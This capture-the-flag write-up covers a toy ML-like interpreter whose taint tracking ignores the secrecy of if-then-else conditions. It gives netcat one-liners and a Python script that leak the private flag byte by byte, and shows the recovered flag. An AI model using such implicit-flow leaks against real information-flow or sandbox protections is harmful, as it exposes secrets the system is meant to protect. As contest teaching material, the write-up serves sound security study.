The server runs an interpreter for a toy language. The language is similar a subset of ML, restricted to expressions involving only the types `int` and `bool`, with various syntactic restrictions and only a few predefined operators. You can only execute a single expression per session. You can define functions, but not recursive ones, and there are no loops either.
In addition to ML features, the language has a taint mechanism. Every expression has a secrecy level in addition to its type: public or private. The `flag` variable is private. The interpreter only prints the value of public expressions. Generally speaking, if an expression involves any private value, its result is private.
The flaw in this interpreter is a classic one: the secrecy of an if-then-else expression depends only on the type of the return expressions, and not on the type of the condition. This allows leaking data one bit at a time.
The flag is encoded as an integer by taking the string's binary representation. We know from `run.sml` that the flag length is 36 bytes.
The following function takes an argument of the form 2^k and returns 2^k if the flag has bit k set and 0 otherwise.
    fn (b : int) => if flag / b % 2 = 1 then b else 0
We should be able to get the flag by calling this function 36\*8 times and summing up the result.
    python -c 'print("let t = fn (b : int) => if flag / b % 2 = 1 then b else 0 in t " + " + t ".join([str(1 << i) for i in range(8*6)]))' | nc wolf.chal.pwning.xxx 6808
However this times out. We need to be more clever. Let's avoid divisions by starting from the highest bit and subtracting in sequence. To make the expression shorter, we use references to keep the current value. This still doesn't work though.
    python -c 'print("let secret = ref flag in let leaked = ref 0 in let t = fn (b : int) => if !secret < b then () else (secret := !secret - b; leaked := !leaked + b) in t " + "; t ".join(reversed([str(1 << i) for i in range(8*36)])) + "; !leaked")' | nc wolf.chal.pwning.xxx 6808    Out of memory with fixed heap size 16,777,216
I didn't find a way to get the whole flag in a single connection. I settled for extracting one byte at a time.
    #!/usr/bin/env python3    import os, re, subprocess, sys
    def get_byte(cmd, k):        expr = '''        let secret = ref (flag / {} % 256) in        let leaked = ref 0 in        let test = fn (bit : int) => (            if !secret < bit            then ()            else (secret := !secret - bit; leaked := !leaked + bit)        ) in        test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;        !leaked'''.format(1 << (k * 8))        p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)        output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii')        return(int(output.split()[0]))
    def get_flag(cmd):        values = [get_byte(sys.argv[1:], k) for k in range(36)]        return bytes(reversed(values)).decode('ascii')
    if __name__ == '__main__':        print(get_flag(sys.argv[1:]))
Let's run this.
    $ ../hiss.py ./wolf-lang    PCTF{NOT_REAL!:o_Run_on_the_server!}    $ ../hiss.py nc wolf.chal.pwning.xxx 6808    PCTF{0of_0uch_0wi3_my_IF_$t4t3m3n7s}